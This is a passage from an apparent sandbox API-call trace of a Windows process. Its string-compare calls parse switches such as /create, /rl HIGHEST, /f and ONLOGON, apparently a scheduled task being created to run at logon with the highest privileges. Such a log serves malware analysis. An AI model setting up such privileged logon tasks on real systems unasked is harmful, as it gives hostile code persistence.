(dwErrCode=0x490) [0086.242] lstrlenW (lpString="v1") returned 2 [0086.242] lstrlenW (lpString="v1") returned 2 [0086.242] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.242] lstrlenW (lpString="rl") returned 2 [0086.242] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.243] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|v1|") returned 4 [0086.243] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.243] lstrlenW (lpString="|v1|") returned 4 [0086.243] lstrlenW (lpString="|rl|") returned 4 [0086.243] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0086.243] SetLastError (dwErrCode=0x490) [0086.243] lstrlenW (lpString="xml") returned 3 [0086.243] lstrlenW (lpString="xml") returned 3 [0086.243] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.243] lstrlenW (lpString="rl") returned 2 [0086.243] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.243] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|xml|") returned 5 [0086.243] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.243] lstrlenW (lpString="|xml|") returned 5 [0086.243] lstrlenW (lpString="|rl|") returned 4 [0086.243] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0086.243] SetLastError (dwErrCode=0x490) [0086.243] lstrlenW (lpString="ec") returned 2 [0086.243] lstrlenW (lpString="ec") returned 2 [0086.243] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.243] lstrlenW (lpString="rl") returned 2 [0086.243] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.243] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ec|") returned 4 [0086.243] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.243] lstrlenW (lpString="|ec|") returned 4 [0086.243] lstrlenW (lpString="|rl|") returned 4 [0086.243] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0086.243] SetLastError (dwErrCode=0x490) [0086.244] lstrlenW (lpString="rl") returned 2 [0086.244] lstrlenW (lpString="rl") returned 2 [0086.244] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.244] lstrlenW (lpString="rl") returned 2 [0086.244] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.244] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.244] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rl|") returned 4 [0086.244] lstrlenW (lpString="|rl|") returned 4 [0086.244] lstrlenW (lpString="|rl|") returned 4 [0086.244] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0086.244] SetLastError (dwErrCode=0x0) [0086.244] SetLastError (dwErrCode=0x0) [0086.244] lstrlenW (lpString="HIGHEST") returned 7 [0086.244] lstrlenW (lpString="-/") returned 2 [0086.244] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0086.244] SetLastError (dwErrCode=0x490) [0086.244] SetLastError (dwErrCode=0x490) [0086.244] SetLastError (dwErrCode=0x0) [0086.244] lstrlenW (lpString="HIGHEST") returned 7 [0086.244] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0086.244] SetLastError (dwErrCode=0x490) [0086.244] SetLastError (dwErrCode=0x0) [0086.245] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.245] lstrlenW (lpString="HIGHEST") returned 7 [0086.245] lstrlenW (lpString="HIGHEST") returned 7 [0086.245] lstrlenW (lpString=" \x09") returned 2 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0086.245] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0086.245] GetLastError () returned 0x0 [0086.245] lstrlenW (lpString="HIGHEST") returned 7 [0086.245] lstrlenW (lpString="HIGHEST") returned 7 [0086.245] SetLastError (dwErrCode=0x0) [0086.245] SetLastError (dwErrCode=0x0) [0086.245] lstrlenW (lpString="/f") returned 2 [0086.245] lstrlenW (lpString="-/") returned 2 [0086.245] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.245] lstrlenW (lpString="create") returned 6 [0086.245] lstrlenW (lpString="create") returned 6 [0086.245] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.245] lstrlenW (lpString="f") returned 1 [0086.245] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.245] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|create|") returned 8 [0086.246] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.246] lstrlenW (lpString="|create|") returned 8 [0086.246] lstrlenW (lpString="|f|") returned 3 [0086.246] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0086.246] SetLastError (dwErrCode=0x490) [0086.246] lstrlenW (lpString="?") returned 1 [0086.246] lstrlenW (lpString="?") returned 1 [0086.246] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.246] lstrlenW (lpString="f") returned 1 [0086.246] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.246] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|?|") returned 3 [0086.246] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.246] lstrlenW (lpString="|?|") returned 3 [0086.246] lstrlenW (lpString="|f|") returned 3 [0086.246] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0086.246] SetLastError (dwErrCode=0x490) [0086.246] lstrlenW (lpString="s") returned 1 [0086.246] lstrlenW (lpString="s") returned 1 [0086.246] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.246] lstrlenW (lpString="f") returned 1 [0086.246] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.246] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|s|") returned 3 [0086.246] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.246] lstrlenW (lpString="|s|") returned 3 [0086.247] lstrlenW (lpString="|f|") returned 3 [0086.247] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0086.247] SetLastError (dwErrCode=0x490) [0086.247] lstrlenW (lpString="u") returned 1 [0086.247] lstrlenW (lpString="u") returned 1 [0086.247] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.247] lstrlenW (lpString="f") returned 1 [0086.247] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.247] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|u|") returned 3 [0086.247] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.247] lstrlenW (lpString="|u|") returned 3 [0086.247] lstrlenW (lpString="|f|") returned 3 [0086.247] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0086.247] SetLastError (dwErrCode=0x490) [0086.247] lstrlenW (lpString="p") returned 1 [0086.247] lstrlenW (lpString="p") returned 1 [0086.247] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.247] lstrlenW (lpString="f") returned 1 [0086.247] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.247] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|p|") returned 3 [0086.247] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.247] lstrlenW (lpString="|p|") returned 3 [0086.247] lstrlenW (lpString="|f|") returned 3 [0086.247] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0086.247] SetLastError (dwErrCode=0x490) [0086.248] lstrlenW (lpString="ru") returned 2 [0086.248] lstrlenW (lpString="ru") returned 2 [0086.248] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.248] lstrlenW (lpString="f") returned 1 [0086.248] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.248] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ru|") returned 4 [0086.248] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.248] lstrlenW (lpString="|ru|") returned 4 [0086.248] lstrlenW (lpString="|f|") returned 3 [0086.248] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0086.248] SetLastError (dwErrCode=0x490) [0086.248] lstrlenW (lpString="rp") returned 2 [0086.248] lstrlenW (lpString="rp") returned 2 [0086.248] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.248] lstrlenW (lpString="f") returned 1 [0086.248] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.248] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|rp|") returned 4 [0086.248] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.248] lstrlenW (lpString="|rp|") returned 4 [0086.248] lstrlenW (lpString="|f|") returned 3 [0086.248] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0086.248] SetLastError (dwErrCode=0x490) [0086.248] lstrlenW (lpString="sc") returned 2 [0086.248] lstrlenW (lpString="sc") returned 2 [0086.248] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.249] lstrlenW (lpString="f") returned 1 [0086.249] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.249] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sc|") returned 4 [0086.249] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.249] lstrlenW (lpString="|sc|") returned 4 [0086.249] lstrlenW (lpString="|f|") returned 3 [0086.249] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0086.249] SetLastError (dwErrCode=0x490) [0086.249] lstrlenW (lpString="mo") returned 2 [0086.249] lstrlenW (lpString="mo") returned 2 [0086.249] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.249] lstrlenW (lpString="f") returned 1 [0086.249] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.249] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|mo|") returned 4 [0086.249] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.249] lstrlenW (lpString="|mo|") returned 4 [0086.249] lstrlenW (lpString="|f|") returned 3 [0086.249] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0086.249] SetLastError (dwErrCode=0x490) [0086.249] lstrlenW (lpString="d") returned 1 [0086.249] lstrlenW (lpString="d") returned 1 [0086.249] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.249] lstrlenW (lpString="f") returned 1 [0086.249] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.250] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|d|") returned 3 [0086.250] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.250] lstrlenW (lpString="|d|") returned 3 [0086.250] lstrlenW (lpString="|f|") returned 3 [0086.250] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0086.250] SetLastError (dwErrCode=0x490) [0086.250] lstrlenW (lpString="m") returned 1 [0086.250] lstrlenW (lpString="m") returned 1 [0086.250] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.250] lstrlenW (lpString="f") returned 1 [0086.250] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.250] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|m|") returned 3 [0086.250] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.250] lstrlenW (lpString="|m|") returned 3 [0086.250] lstrlenW (lpString="|f|") returned 3 [0086.250] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0086.250] SetLastError (dwErrCode=0x490) [0086.250] lstrlenW (lpString="i") returned 1 [0086.250] lstrlenW (lpString="i") returned 1 [0086.250] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.250] lstrlenW (lpString="f") returned 1 [0086.250] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.250] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|i|") returned 3 [0086.250] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.250] lstrlenW (lpString="|i|") returned 3 [0086.251] lstrlenW (lpString="|f|") returned 3 [0086.251] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0086.251] SetLastError (dwErrCode=0x490) [0086.251] lstrlenW (lpString="tn") returned 2 [0086.251] lstrlenW (lpString="tn") returned 2 [0086.251] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.251] lstrlenW (lpString="f") returned 1 [0086.251] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.251] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tn|") returned 4 [0086.251] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.251] lstrlenW (lpString="|tn|") returned 4 [0086.251] lstrlenW (lpString="|f|") returned 3 [0086.251] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0086.251] SetLastError (dwErrCode=0x490) [0086.251] lstrlenW (lpString="tr") returned 2 [0086.251] lstrlenW (lpString="tr") returned 2 [0086.251] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.251] lstrlenW (lpString="f") returned 1 [0086.251] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.251] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|tr|") returned 4 [0086.251] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.251] lstrlenW (lpString="|tr|") returned 4 [0086.251] lstrlenW (lpString="|f|") returned 3 [0086.251] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0086.251] SetLastError (dwErrCode=0x490) [0086.252] lstrlenW (lpString="st") returned 2 [0086.252] lstrlenW (lpString="st") returned 2 [0086.252] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.252] lstrlenW (lpString="f") returned 1 [0086.252] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.252] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|st|") returned 4 [0086.252] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.252] lstrlenW (lpString="|st|") returned 4 [0086.252] lstrlenW (lpString="|f|") returned 3 [0086.252] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0086.252] SetLastError (dwErrCode=0x490) [0086.252] lstrlenW (lpString="sd") returned 2 [0086.252] lstrlenW (lpString="sd") returned 2 [0086.252] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.252] lstrlenW (lpString="f") returned 1 [0086.252] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.252] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|sd|") returned 4 [0086.252] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.252] lstrlenW (lpString="|sd|") returned 4 [0086.252] lstrlenW (lpString="|f|") returned 3 [0086.252] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0086.252] SetLastError (dwErrCode=0x490) [0086.252] lstrlenW (lpString="ed") returned 2 [0086.252] lstrlenW (lpString="ed") returned 2 [0086.252] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.252] lstrlenW (lpString="f") returned 1 [0086.253] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.253] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ed|") returned 4 [0086.253] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.253] lstrlenW (lpString="|ed|") returned 4 [0086.253] lstrlenW (lpString="|f|") returned 3 [0086.253] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0086.253] SetLastError (dwErrCode=0x490) [0086.253] lstrlenW (lpString="it") returned 2 [0086.253] lstrlenW (lpString="it") returned 2 [0086.253] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.253] lstrlenW (lpString="f") returned 1 [0086.253] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.253] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|it|") returned 4 [0086.253] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.253] lstrlenW (lpString="|it|") returned 4 [0086.253] lstrlenW (lpString="|f|") returned 3 [0086.253] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0086.253] SetLastError (dwErrCode=0x490) [0086.253] lstrlenW (lpString="et") returned 2 [0086.253] lstrlenW (lpString="et") returned 2 [0086.253] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.253] lstrlenW (lpString="f") returned 1 [0086.253] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.253] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|et|") returned 4 [0086.253] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.254] lstrlenW (lpString="|et|") returned 4 [0086.254] lstrlenW (lpString="|f|") returned 3 [0086.254] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0086.254] SetLastError (dwErrCode=0x490) [0086.254] lstrlenW (lpString="k") returned 1 [0086.254] lstrlenW (lpString="k") returned 1 [0086.254] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.254] lstrlenW (lpString="f") returned 1 [0086.254] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.254] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|k|") returned 3 [0086.254] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.254] lstrlenW (lpString="|k|") returned 3 [0086.254] lstrlenW (lpString="|f|") returned 3 [0086.254] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0086.254] SetLastError (dwErrCode=0x490) [0086.254] lstrlenW (lpString="du") returned 2 [0086.254] lstrlenW (lpString="du") returned 2 [0086.254] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.254] lstrlenW (lpString="f") returned 1 [0086.254] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.254] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|du|") returned 4 [0086.254] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.254] lstrlenW (lpString="|du|") returned 4 [0086.254] lstrlenW (lpString="|f|") returned 3 [0086.254] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0086.255] SetLastError (dwErrCode=0x490) [0086.255] lstrlenW (lpString="ri") returned 2 [0086.255] lstrlenW (lpString="ri") returned 2 [0086.255] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.255] lstrlenW (lpString="f") returned 1 [0086.255] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.255] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|ri|") returned 4 [0086.255] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.255] lstrlenW (lpString="|ri|") returned 4 [0086.255] lstrlenW (lpString="|f|") returned 3 [0086.255] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0086.255] SetLastError (dwErrCode=0x490) [0086.255] lstrlenW (lpString="z") returned 1 [0086.255] lstrlenW (lpString="z") returned 1 [0086.255] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.255] lstrlenW (lpString="f") returned 1 [0086.255] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.255] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|z|") returned 3 [0086.255] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.255] lstrlenW (lpString="|z|") returned 3 [0086.255] lstrlenW (lpString="|f|") returned 3 [0086.255] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0086.255] SetLastError (dwErrCode=0x490) [0086.255] lstrlenW (lpString="f") returned 1 [0086.255] lstrlenW (lpString="f") returned 1 [0086.256] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.256] lstrlenW (lpString="f") returned 1 [0086.256] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.256] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.256] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc548 | out: _Buffer="|f|") returned 3 [0086.256] lstrlenW (lpString="|f|") returned 3 [0086.256] lstrlenW (lpString="|f|") returned 3 [0086.256] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0086.256] SetLastError (dwErrCode=0x0) [0086.256] SetLastError (dwErrCode=0x0) [0086.256] GetProcessHeap () returned 0x50000 [0086.256] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce70 [0086.256] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.256] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0086.256] lstrlenW (lpString="LIMITED") returned 7 [0086.256] GetProcessHeap () returned 0x50000 [0086.256] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d6c0 [0086.256] GetThreadLocale () returned 0x409 [0086.256] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0086.256] GetProcessHeap () returned 0x50000 [0086.256] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce40 [0086.256] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.256] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0086.257] lstrlenW (lpString="HIGHEST") returned 7 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d6e0 [0086.257] GetThreadLocale () returned 0x409 [0086.257] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ce10 [0086.257] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.257] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0086.257] lstrlenW (lpString="MINUTE") returned 6 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d700 [0086.257] GetThreadLocale () returned 0x409 [0086.257] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cde0 [0086.257] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.257] LoadStringW (in: hInstance=0x0, uID=0x1af, 